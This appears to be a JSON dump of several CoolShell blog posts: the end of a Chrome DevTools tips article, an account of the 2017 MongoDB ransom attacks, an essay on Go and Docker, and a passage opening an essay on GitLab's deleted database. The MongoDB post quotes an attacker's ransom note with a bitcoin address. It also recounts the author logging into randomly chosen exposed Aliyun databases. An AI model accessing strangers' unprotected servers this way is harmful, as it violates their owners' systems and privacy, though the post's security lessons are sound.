网络限速\n\n\n你可以设置你的网络的访问速度来模拟一个网络很慢的情况。\n\n\n![](../wp-content/uploads/2017/01/custom-network-throttling-profiles.gif)\n\n\n \n\n\n#### 复制HTTP请求\n\n\n这个是我很喜欢 的一个功能，你可以在 network选项卡里，点击 XHR 过滤相关的Ajax请求，然后在相关的请求上点鼠标右键，在菜单中选择： `Copy` => `Copy as cURL`，然后就可以到你的命令行下去 执行 `curl` 的命令了。这个可以很容易做一些自动化的测试。\n\n\n![](../wp-content/uploads/2017/01/curl.gif)\n\n\n \n\n\n**友情提示：这个操作有可能会把你的个人隐私信息复制出去，比如你个人登录后的cookie。**\n\n\n#### 抓个带手机的图\n\n\n这个可能有点无聊了，不过我觉得挺有意思的。\n\n\n在device显示中，先选择一个手机，然后在右上角选 `Show Device Frame`，然后你就看到手机的样子了，然后再到那个菜中中选 Capture snapshot，就可以抓下一个有手机样子的截图了。\n\n\n![](../wp-content/uploads/2017/01/device.gif)\n\n\n我抓的图如下（当然，不是所有的手机都有frame的）\n\n\n![](../wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png)\n\n\n \n\n\n#### 设置断点\n\n\n除了给Javascript的源代码上设置断点调试，你还可以：\n\n\n##### 给DOM设置断点\n\n\n选中一个DOM，然后在右键菜单中选 Break on … 你可以看到如下三个选项：\n\n\n#### \n\n\n##### 给XHR和Event Lisener设置断点\n\n\n在 Sources 面页中，你可以看到右边的那堆break points中，除了上面我们说的给DOM设置断点，你还可以给XHR和Event Listener设置断点，载图如下：\n\n\n![](../wp-content/uploads/2017/01/breakpoints-834x1024.png)\n\n\n#### 关于Console中的技巧\n\n\n##### DOM操作\n\n\n* chrome会帮你buffer 5个你查看过的DOM对象，你可以直接在Console中用 $0, $1, $2, $3, $4来访问。\n\n\n* 你还可以使用像jQuery那样的语法来获得DOM对象，如：`$(\"#mydiv\")`\n\n\n* 你还可使用 `$$(\".class\")` 来选择所有满足条件的DOM对象。\n\n\n* 你可以使用 `getEventListeners($(\"selector\"))` 来查看某个DOM对象上的事件（如下图所示）。\n\n\n![](../wp-content/uploads/2017/01/events-geteventlisteners_expanded.png)\n\n\n* 你还可以使用 `monitorEvents($(\"selector\"))` 来监控相关的事件。比如：\n\n\n`monitorEvents(document.body, \"click\");`\n\n\n![](../wp-content/uploads/2017/01/monitor-events-1024x378.png)\n\n\n##### Console中的一些函数\n\n\n**1）monitor函数**\n\n\n使用 monitor函数来监控一函数，如下面的示例\n\n\n![](../wp-content/uploads/2017/01/monitor-300x112.png)\n\n\n**2）copy函数**\n\n\ncopy函数可以把一个变量的值copy到剪贴板上。\n\n\n**3）inspect函数**\n\n\ninspect函数可以让你控制台跳到你需要查看的对象上。如：\n\n\n![](../wp-content/uploads/2017/01/inspect-1024x459.png)\n\n\n更多的函数请参数官方文档 – [Using the Console / Command Line Reference](https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference)\n\n\n##### Console的输出\n\n\n我们知道，除了`console.log`之外，还有`console.debug`，`console.info`，`console.warn`，`console.error`这些不同级别的输出。另外一个鲜为人知的功能是，`console.log`中，你还可以对输出的文本加上css的样式，如下所示：\n\n\n`console.log(\"%c左耳朵\", \"font-size:90px;color:#888\")`\n\n\n![](../wp-content/uploads/2017/01/console.log_-300x92.png)\n\n\n于是，你可以定义一些相关的log函数，如：\n\n\n\n```\nconsole.todo = function( msg){\n  console.log( '%c%s %s %s', 'font-size:20px; color:yellow; background-color: blue;', '--', msg, '--');\n}\nconsole.important = function( msg){\n  console.log( '%c%s %s %s', 'font-size:20px; color:brown; font-weight: bold; text-decoration: underline;', '--', msg, '--');\n}\n```\n\n![](../wp-content/uploads/2017/01/console.log2_-1024x411.png)\n\n\n关于console.log中的格式化，你可以参看如下表格：\n\n\n\n\n|  |  |\n| --- | --- |\n| 指示符 | 输出 |\n| %s | 格式化输出一个字符串变量。 |\n| %i or %d | 格式化输出一个整型变量的值。 |\n| %f | 格式化输出一个浮点数变量的值。 |\n| %o | 格式化输出一个DOM对象。 |\n| %O | 格式化输出一个Javascript对象。 |\n| %c | 为后面的字符串加上CSS样式 |\n\n\n \n\n\n除了console.log打印js的数组，你还可以使用console.table来打印，如下所示：\n\n\n\n```\nvar pets = [\n  { animal: 'Horse', name: 'Pony', age: 23 },\n  { animal: 'Dog', name: 'Snoopy', age: 13 },\n  { animal: 'Cat', name: 'Tom', age: 18 },\n  { animal: 'Mouse', name: 'Jerry', age: 12}\n];\nconsole.table(pets)\n```\n\n![](../wp-content/uploads/2017/01/console.table_-1024x438.png)\n\n\n \n\n\n#### 关于console对象\n\n\n* console对象除了上面的打日志的功能，其还有很多功能，比如：\n* console.trace() 可以打出js的函数调用栈\n* console.time() 和 console.timeEnd() 可以帮你计算一段代码间消耗的时间。\n* console.profile() 和 console.profileEnd() 可以让你查看CPU的消耗。\n* console.count() 可以让你看到相同的日志当前被打印的次数。\n* console.assert(expression, object) 可以让你assert一个表达式\n\n\n这些东西都可以看看[Google的Console API的文档](https://developers.google.com/web/tools/chrome-devtools/console/console-reference)。\n\n\n其实，还有很多东西，你可以参看Google的官方文档 – [Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/)\n\n\n#### 关于快捷键\n\n\n点击在 DevTools的右上角的那三个坚排的小点，你会看到一个菜单，点选 `Shortcuts`，你就可以看到所有的快捷键了\n\n\n![](../wp-content/uploads/2017/01/shortcuts-1024x466.png)\n\n\n如果你知道更多，也欢迎补充！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-1-7 从 MongoDB “赎金事件” 看安全问题.md",
    "content": "---\nlayout: post\ntitle: 从 MongoDB “赎金事件” 看安全问题\ndate: 2017/1/7/ 9:11:28\nupdated: 2017/1/7/ 9:11:28\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/01/MongoDB-360x200.jpg)今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一次比较大的安全事件吧，发现国内居然没有什么报道，国内安全圈也没有什么动静（当然，他们也许知道，只是不想说吧），Anyway，让我这个非安全领域的人来帮补补位。\n\n\n#### 事件回顾\n\n\n这个事情应该是从2017年1月3日进入公众视野的，是由安全圈的大拿 Victor Gevers （网名：[0xDUDE](https://twitter.com/0xDUDE)，[GDI.foundation](http://GDI.foundation \"http://GDI.foundation\") 的Chairman），其实，他早在2016年12月27日就发现了一些在互联网上用户的MongoDB没有任何的保护措施，被攻击者把数据库删除了，并留下了一个叫 WARNING 的数据库，这张表的内容如下：\n\n\n\n```\n{\n    \"_id\" : ObjectId(\"5859a0370b8e49f123fcc7da\"),\n    \"mail\" : \"harak1r1@sigaint.org\",\n    \"note\" : \"SEND 0.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !\"\n}\n```\n\n基本上如下所示：\n\n\n\n![MongoDB ransom demand (via Victor Gevers)](../wp-content/uploads/2017/01/MongoDB-ransom.png)MongoDB ransom demand (via Victor Gevers)\n说白了就是黑客留下的东西——**老子把你的MongoDB里的数据库给转走了，如果你要你的数据的话，给我0.2个的比特币（大约USD200）**。然后，他的twitter上不断地发布这个“赎金事件”的跟踪报道。与此同时，中国区的V2EX上也发现了相关的攻击问题 《[自己装的 mongo 没有设置密码结果被黑了](https://www.v2ex.com/t/331887)》\n\n\n然后，在接下来的几天内，全球大约有1800个MongoDB的数据库被黑，这个行为来自一个叫 Harak1r1 的黑客组织（这个组织似乎就好黑MongoDB，据说他们历史上干了近8500个MongoDB的数据库，几乎都是在祼奔的MongoDB）。\n\n\n不过，这个组织干了两天后就停手了，可能是因为这事已经引起了全球科技媒体的注意，产生了大量的报道（如果你在Google News里查一下“[mongodb ransom](https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=mongodb+ransom&newwindow=1&tbm=nws)”，你会看到大量的报道（中文社区中，只有[台湾有相关的报道](https://unwire.pro/2017/01/05/2000-mongodb-ransom/security/)）），他们也许是不敢再搞下去了。\n\n\n不过，很快，有几个copycats开始接着干，\n\n\n马上跟进的是 own3d ，他们留下的数据库的名字叫 WARNING\\_ALERT，他们至少干掉了 930个MongoDB，赎金0.5个比特币（USD500），至少有3个用户付费了\n\n\n然后是0704341626asdf，他们留下的数据库名字叫PWNED，他们至少干掉了740个MongoDB，赎金0.15个比特币（USD150），看看他们在数据库里留下的文字——**你的MongoDB没有任何的认证，并且暴露在公网里（你TMD是怎么想的？）……**\n\n\n![0704341626asdf group ransom note (via Victor Gerves)](../wp-content/uploads/2017/01/MongoDB-Group-3.jpg)0704341626asdf group ransom note (via Victor Gerves)\n就在这两天，有两个新的黑客也来了\n\n\n* 先是kraken0，发现到现在1天了，干了13个MongoDB，赎金 0.1个比特币。\n* 然后是 3lix1r，发现到现在5个小时，干了17个MongoDB，赎金0.25比特币。\n\n\nBBC新闻也于昨天报道了这一情况——《[Web databases hit in ransom attacks](http://www.bbc.com/news/technology-38521973)》，现在这个事情应该是一个Big News了。\n\n\n#### 关于MongoDB的安全\n\n\n安全问题从来都是需要多方面一起努力，但是安全问题最大的短板就是在用户这边。这次的这个事，说白了，就是用户没有给MongoDB设置上用户名和口令，然后还把服务公开到了公网上。\n\n\n是的，这个安全事件，相当的匪夷所思，为什么这些用户要在公网上祼奔自己的数据库？他们的脑子是怎么想的？\n\n\n让我们去看一下Shodan上可以看到的有多少个在暴露在公网上而且没有防范的MongoDB？我了个去！**4万7千个，还是很触目惊心的**（下图来自我刚刚创建的 [Shodan关于MongoDB的报表](https://www.shodan.io/report/h0bgF6zM)）\n\n\n![](../wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png)\n\n\n \n\n\n那么，怎么会有这么多的对外暴露的MongoDB？看了一下Shodan的报告，发现主要还是来自公有云平台，Amazon，Alibaba，Digital Ocean，OVH，Azure 的云平台上有很多这样的服务。不过，像AWS这样的云平台，有很完善的默认安全组设置和VPC是可以不把这样的后端服务暴露到公有云上的，为什么还会有那么多？\n\n\n![](../wp-content/uploads/2017/01/MongoDB_Org.png)\n\n\n \n\n\n这么大量的暴露在公网上的服务是怎么回事？有人发现（参看这篇文章《[It’s the Data, Stupid!](https://blog.shodan.io/its-the-data-stupid/)》 ），MongoDB历史上一直都是把侦听端口绑在所有的IP上的，这个问题在5年前（2011年11月）就报给了MongoDB ([SERVER-4216](https://jira.mongodb.org/browse/SERVER-4216))，结果2014年4月才解决掉。所以，他觉得可能似乎 MongoDB的 2.6之前的版本都会默认上侦听在0.0.0.0 。\n\n\n于是我做了一个小试验，到我的Ubuntu 14.04上去 `apt-get install mongodb`（2.4.9版），然后我在`/etc/mongodb.conf` 文件中，看到了默认的配置是127.0.0.1，mongod启动也侦听在了127.0.0.1这台机器上。一切正常。不过，可能是时过境迁，debain的安装包里已加上了这个默认配置文件。不管怎么样，MongoDB似乎是有一些问题的。\n\n\n再到Shodan上看到相关的在公网裸奔的MongoDB的版本如下，发现3.x的也是主流：\n\n\n![](../wp-content/uploads/2017/01/MongoDB_Version.png)\n\n\n \n\n\n虽然，3.x的版本成为了主流，但是似乎，还是有很多人把MongoDB的服务开到了互联网上来，而且可以随意访问。\n\n\n**你看，我在阿里云随便找了几台机器，一登就登上去了。**\n\n\n![](../wp-content/uploads/2017/01/MongoDB_Aliyun.png)\n\n\n真是如那些黑客中的邮件所说的：WTF，你们是怎么想的？\n\n\n#### 后续的反思\n\n\n为什么还是有这么多的MongoDB在公网上祼奔呢？难道有这么多的用户都是小白？这个原因，是什么呢？我觉得可能会是如下两个原因：\n\n\n1）一是技术人员下载了mongod的软包，一般来说，mongodb的压缩包只有binary文件 ，没有配置文件 ，所以直接解开后运行，结果就没有安全认证，也绑在了公网上。也许，MongoDB这么做的原因就是为了可以快速上手，不要在环境上花太多的时间，这个有助于软件方面的推广。但是，这样可能就坑了更多的人。\n\n\n2）因为MongoDB是后端基础服务，所以，需要很多内部机器防问，按道理呢，应该绑定在内网IP上，但是呢，可能是技术人员不小心，绑在了0.0.0.0的IP上。\n\n\n那么，这个问题在云平台上是否可以更好的解决呢？\n\n\n**关于公网的IP。**一般来说，公有云平台上的虚拟主机都会有一个公网的IP地址，老实说，这并不是一个好的方法，因为有很多主机是不需要暴露到公网上的，所以，也就不需要使用公网IP，于是，就会出现弹性IP或虚拟路由器以及VPC这样的虚拟网络服务，这样用户在公有云就可以很容易的组网，也就没有必要每台机器都需要一个公网IP，使用云平台，最好还是使用组网方案比较好的平台。\n\n\n**关于安全组**。在AWS上，你开一台EC2，会有一个非常严格的安全组——只暴露22端口，其它的全部对外网关闭。这样做，其实是可以帮用户防止一下不小心把不必要的服务Open到公网上。按道理来说，AWS上应该是帮用户防了这些的。但是，AWS上的MongoDB祼奔的机器数量是最多的，估计和AWS的EC2的 基数有关系吧（据说AWS有千万台左右的EC2了）\n\n\n最后，提醒大家一下，被黑了也不要去付赎金，因为目前来说没有任何证据证明黑客们真正保存了你的数据，因为，被黑的服务器太多了，估计有几百T的数据，估计是不会为你保存的。下面也是Victor Gevers的提示：\n\n\n![](../wp-content/uploads/2017/01/MongoDB_Twitter.png)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](http://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](http://coolshell.cn/articles/11973.html)\n* [![谈谈数据安全和云存储](../wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg)](http://coolshell.cn/articles/6976.html)[谈谈数据安全和云存储](http://coolshell.cn/articles/6976.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](http://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](http://coolshell.cn/articles/8711.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](http://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](http://coolshell.cn/articles/11021.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](http://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](http://coolshell.cn/articles/17066.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](http://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](http://coolshell.cn/articles/6424.html)\nThe post [从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-10-30 Go语言、Docker 和新技术.md",
    "content": "---\nlayout: post\ntitle: Go语言、Docker 和新技术\ndate: 2017/10/30/ 1:24:20\nupdated: 2017/10/30/ 1:24:20\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/10/golang.docker-360x200.png)上个月，作为 Go 语言的三位创始人之一，Unix 老牌黑客罗勃·派克（Rob Pike）在新文章“[Go: Ten years and climbing](https://commandcenter.blogspot.com/2017/09/go-ten-years-and-climbing.html)”中，回顾了一下 Go 语言的发展过程。其中提到，Go 语言这十年的迅猛发展大到连他们自己都没有想到，并且还成为了云计算领域中新一代的开发语言。还提到了，中国程序员对 Go 语言的热爱完全超出了他们的想象，甚至他们都不敢相信是真的。\n\n\n这让我想起，我在 2015 年 5 月份拜访 Docker 公司在湾区的总部时，Docker 负责人也和我表达了相似的感叹：他们完全没有想到居然中国有那么多人喜欢 Docker，而且还有这么多人在为 Docker 做贡献，这让他们感到非常意外。此外，还跟我说，中国是除了美国本土之外的另一个如此喜欢 Docker 技术的国家，在其它国家都没有看到。\n\n\n的确如他们所说，Go 语言和 Docker 这两种技术已经成为新一代的云计算技术，而且可以看到其发展态势非常迅猛。而中国也成为了像美国一样在强力推动这两种技术的国家。这的确是一件让人感到非常高兴的事，因为中国在跟随时代潮流这件事上已经做得非常不错了。\n\n\n然而，从 2014-2015 年我在阿里推动 Docker 和 Go 语言的痛苦和失败过程中，以及这许多年来，有很多很多人问我是否要学 Go 语言，是否要学 Docker，Go 和 Docker 是否能用在生产线上，这些问题看来，对于 Go 语言和 Docker 这两种技术，在国内的技术圈中有相当大的一部分人和群体还在执观望或是不信任的态度。\n\n\n所以，我想写这篇文章，从两个方面来论述一下我的观点和看法。\n\n\n* 一个方面，为什么 Go 语言和 Docker 会是新一代的云计算技术。\n* 另一个方面，作为技术人员，我们如何识别什么样的新技术会是未来的趋势。\n\n\n这两个问题是相辅相成的，所以我会把这两个问题揉在一起谈。\n\n\n\n虽然 Go 语言是在 2009 年底开源的，但我是从 2012 年才开始接触和学习 Go 语言的。我只花了一个周末两天的时间就学完了，而且在这两天，我还很快地写出了一个能工作很好的网页爬虫程序，以及一个简单的高并发文件处理服务，用于提取前面抓取的网页的关键内容。这两个程序都很简单，总共才写了不到 500 行代码。\n\n\n我当时对 Go 语言有几点体会。\n\n\n**第一，语言简单，上手快。**Go 语言的语法特性简直是太简单了，简单到你几乎玩不出什么花招，直来直去的，学习曲线很低，上手非常快。\n\n\n**第二，并行和异步编程几乎无痛点。**Go 语言的 Goroutine 和 Channel 这两个神器简直就是并发和异步编程的巨大福音。像 C、C++、Java、Python 和 JavaScript 这些语言的并发和异步方式太控制就比较复杂了，而且容易出错，而 Go 解决这个问题非常地优雅和流畅。这对于编程多年受尽并发和异步折磨的我来说，完全就是让我眼前一亮的感觉。\n\n\n![](../wp-content/uploads/2017/10/golang.01.png)\n\n\n（图片来自 Medium：[Why should you learn Go?](https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65)）\n\n\n**第三，Go 语言的 lib 库麻雀虽小五脏俱全。**Go 语言的 lib 库中基本上有绝大多数常用的库，虽然有些库还不是很好，但我觉得不是问题，因为我相信在未来的发展中会把这些问题解决掉。\n\n\n**第四，C 语言的理念和 Python 的姿态。**C 语言的理念是信任程序员，保持语言的小巧，不屏蔽底层且底层友好，关注语言的执行效率和性能。而 Python 的姿态是用尽量少的代码完成尽量多的事。于是我能够感觉到，Go 语言想要把 C 和 Python 统一起来，这是多棒的一件事啊。\n\n\n![](../wp-content/uploads/2017/10/golang.02.png)\n\n\n（图片来自 Medium：[Why should you learn Go?](https://medium.com/@kevalpatel2106/why-should-you-learn-go-f607681fad65)）\n\n\n所以，即便 Go 语言存在诸多的问题，比如垃圾回收、异常处理、泛型编程等，但相较于上面这几个优势，我认为这些问题都是些小问题。于是就毫不犹豫地入坑了。\n\n\n当然，一个技术能不能发展起来，关键还要看三点。\n\n\n* **有没有一个比较好的社区。**像 C、C++、Java、Python 和 JavaScript 的生态圈都是非常丰富和火爆的。尤其是有很多商业机构参与的社区那就更为人气爆棚了，比如 Linux 的社区。\n* **有没有一个工业化的标准。**像 C、C++、Java 都是有标准化组织的。尤其是 Java，其在架构上还搞出了像 J2EE 这样的企业级标准。\n* **有没有一个或多个杀手级应用。**C、C++ 和 Java 的杀手级应用不用多说了，就算是对于 PHP 这样还不能算是一个好的编程语言来说，因为是 Linux 时代的第一个杀手级解决方案 LAMP 中的关键技术，所以，也发展起来了。\n\n\n上述的这三点是非常关键的，新的技术只需要占到其中一到两点就已经很不错了，何况有的技术，比如 Java，是三点全占到了，所以，Java 的发展是如此好。当然，除了上面这三点重要的，还有一些其它的影响因素，比如：\n\n\n* **学习曲线是否低，上手是否快。**这点非常重要，C++ 在这点上越做越不好了。\n* **有没有一个不错的提高开发效率的开发框架。**如：Java 的 Spring 框架，C++ 的 STL 等。\n* **是否有一个或多个巨型的技术公司作为后盾。**如：Java 和 Linux 后面的 IBM、Sun……\n* **有没有解决软件开发中的痛点。**如：Java 解决了 C 和 C++ 的内存管理问题。\n\n\n用这些标尺来量一下 Go 语言，我们可以清楚地看到：\n\n\n* Go 语言容易上手；\n* Go 语言解决了并发编程和写底层应用开发效率的痛点；\n* Go 语言有 Google 这个世界一流的技术公司在后面；\n* Go 语言的杀手级应用是 Docker，而 Docker 的生态圈在这几年完全爆棚了。\n\n\n所以，Go 语言的未来是不可限量的。当然，我个人觉得，Go 可能会吞食很多 C、C++、Java 的项目。不过，Go 语言所吞食主要的项目应该是中间层的项目，既不是非常底层也不会是业务层。\n\n\n也就是说，Go 语言不会吞食底层到 C 和 C++ 那个级别的，也不会吞食到高层如 Java 业务层的项目。Go 语言能吞食的一定是 PaaS 上的项目，比如一些消息缓存中间件、服务发现、服务代理、控制系统、Agent、日志收集等等，没有复杂的业务场景，也到不了特别底层（如操作系统）的中间平台层的软件项目或工具。而 C 和 C++ 会被打到更底层，Java 会被打到更上层的业务层。这是我的一个判断。\n\n\n好了，我们再用上面的标尺来量一下 Go 语言的杀手级应用 Docker，你会发现基本是一样的。\n\n\n* Docker 上手很容易。\n* Docker 解决了运维中的环境问题以及服务调度的痛点。\n* Docker 的生态圈中有大公司在后面助力。比如 Google。\n* Docker 产出了工业界标准 OCI。\n* Docker 的社区和生态圈已经出现像 Java 和 Linux 那样的态势。\n* ……\n\n\n所以，早在 3、4 年前我就觉得 Docker 一定会是未来的技术。虽然当时的坑儿还很多，但是，相对于这些大的因素来说，那些小坑儿都不是问题。只是需要一些时间，这些小坑儿在未来 5-10 年就可以完全被填平了。\n\n\n同样，我们可以看到 Kubernetes 作为服务和容器调度的关键技术一定会是最后的赢家。这点我在去年初就能够很明显地感觉到了。\n\n\n关于 Docker 我还想多说几句，这是云计算中 PaaS 的关键技术，虽然，这世上在出现 Docker 之前，几乎所有的要玩公有 PaaS 的公司和产品都玩不起来，比如：Google 的 GAE，国内的各种 XAE，如淘宝的 TAE，新浪的 SAE 等。但我还是想说，**PaaS 是一个被世界或是被产业界严重低估的平台。**\n\n\n**PaaS 层是承上启下的关键技术，任何一个不重视 PaaS 的公司，其技术架构都不可能让这家公司成长为一个大型的公司**。因为 PaaS 层的技术主要能解决下面这些问题。\n\n\n* **软件生产线的问题。**持续集成和持续发布，以及 DevOps 中的技术必需通过 PaaS。\n* **分布式服务化的问题。**分布式服务化的服务高可用、服务编排、服务调度、服务发现、服务路由，以及分布式服务化的支撑技术完全是 PaaS 的菜。\n* **提高服务的可用性 SLA。**提高服务可用性 SLA 所需要的分布式、高可用的技术架构和运维工具，也是 PaaS 层提供的。\n* **软件能力的复用。**软件工程中的核心就是软件能力的复用，这一点也完美地体现在 PaaS 平台的技术上。\n\n\n老实说，这些问题的关键程度已经到了能判断一家依托技术的公司的研发能力是否靠谱的程度。没有这些技术，依托技术拓展业务的公司几乎没有可能发展得规模很大。\n\n\n在后面，我会在“[极客时间](https://time.geekbang.org/)”[我的付费专栏](https://time.geekbang.org/column/intro/48)里另外写几篇文章详细地讲一下分布式服务化和 PaaS 平台的重要程度。\n\n\n最后，我还要说一下，为什么要早一点地进入这些新技术，而不是等待这些技术成熟了后再进入。原因有这么几个。\n\n\n\n> 技术的发展过程非常重要。我进入 Go 和 Docker 的技术不能算早，但也不算晚，从 2012 年学习 Go，到 2013 年学习 Docker 到今天，我清楚地看到了这两种技术的生态圈发展过程。让我收获最大的并不是这些技术本身，而是一个技术的变迁和行业的发展。\n> \n> \n\n\n从中，我看到了非常具体的各种思潮和思路，这些东西比起 Go 和 Docker 来说更有价值。因为，这不但让我重新思考我已掌握的技术以及如何更好地解决已有的问题，而且还让我看到了未来。我不但有了技术优势，而且这些知识还让我的技术生涯多了很多的可能性。\n\n\n\n> 这些关键新技术，可以让你拿到技术的先机。这些对一个需要技术领导力的个人或公司来说都是非常重要的。\n> \n> \n\n\n一个公司或是个人能够占有技术先机，就会比其它公司或个人有更大的影响力。一旦未来行业需求引爆，那么这个公司或是个人的影响力就会形成一个比较大的护城河，并可以快速地产生经济利益。\n\n\n近期，在与中国移动、中国电信以及一些股份制银行进行交流的过程中，我已看到通讯行业、金融行业对于 PaaS 平台的理解已经超过了互联网公司，而我近 3 年来在这些技术上的研究让我也从中受益非浅。\n\n\n所以，Go 语和 Docker 作为 PaaS 平台的关键技术前途是无限的，我很庆幸赶上了这个浪潮，也很庆幸在 3 年前我就看到了这个趋势，现在我也在用这些技术开发相关的技术产品，助力于为高速成长的公司提供这些关键技术。\n\n\n \n\n\n**最后注明一下：**\n\n\n**这篇文章于上周发布于[“极客时间”的我的付费专栏](https://time.geekbang.org/column/intro/48)中。极客时间中的付费是我受Geekbang邀请写的一个付费专栏，因为过去10多年给企业有过很多内训，过去2年又给好多企业做过一些咨询工作，所以，我会把一些商业化的内容写在极客时间里，当然，也会有一些我的新文章。关于这个事，我后面我专门开一篇文章说一下。（大家可以到 Apple的App Store上搜极客时间，Android版本等到12月初吧）**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [Go语言、Docker 和新技术](https://coolshell.cn/articles/18190.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-2-2 从Gitlab误删除数据库想到的.md",
    "content": "---\nlayout: post\ntitle: 从Gitlab误删除数据库想到的\ndate: 2017/2/2/ 8:11:28\nupdated: 2017/2/2/ 8:11:28\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/02/gitlab-600.jpg)昨天，Gitlab.com发生了一个大事，某同学误删了数据库，这个事看似是个低级错误，不过，因为Gitlab把整个过程的细节都全部暴露出来了，所以，可以看到很多东西，而对于类似这样的事情，我自己以前也干过，而在最近的两公司中我也见过（Amazon中见过一次，阿里中见过至少四次），正好通过这个事来说说一下自己的一些感想和观点吧。**我先放个观点：你觉得有备份系统就不会丢数据了吗？**\n\n\n#### 事件回顾\n\n\n整个事件的回顾Gitlab.com在第一时间就放到了[Google Doc上](https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub)，事后，又发了[一篇Blog](https://about.gitlab.com/2017/02/01/gitlab-dot-com-database-incident/)来说明这个事，在这里，我简单的回顾一下这个事件的过程。\n\n\n首先，一个叫YP的同学在给gitlab的线上数据库做一些负载均衡的工作，在做这个工作时的时候突发了一个情况，Gitlab被DDoS攻击，数据库的使用飙高，在block完攻击者的IP后，发现有个staging的数据库(db2.staging)已经落后生产库4GB的数据，于是YP同学在Fix这个staging库的同步问题的时候，发现db2.staging有各种问题都和主库无法同步，在这个时候，YP同学已经工作的很晚了，在尝试过多个方法后，发现db2.staging都hang在那里，无法同步，于是他想把db2.staging的数据库删除了，这样全新启动一个新的复制，结果呢，删除数据库的命令错误的敲在了生产环境上（db1.cluster），结果导致整个生产数据库被误删除。（**陈皓注：这个失败基本上就是 “工作时间过长” + 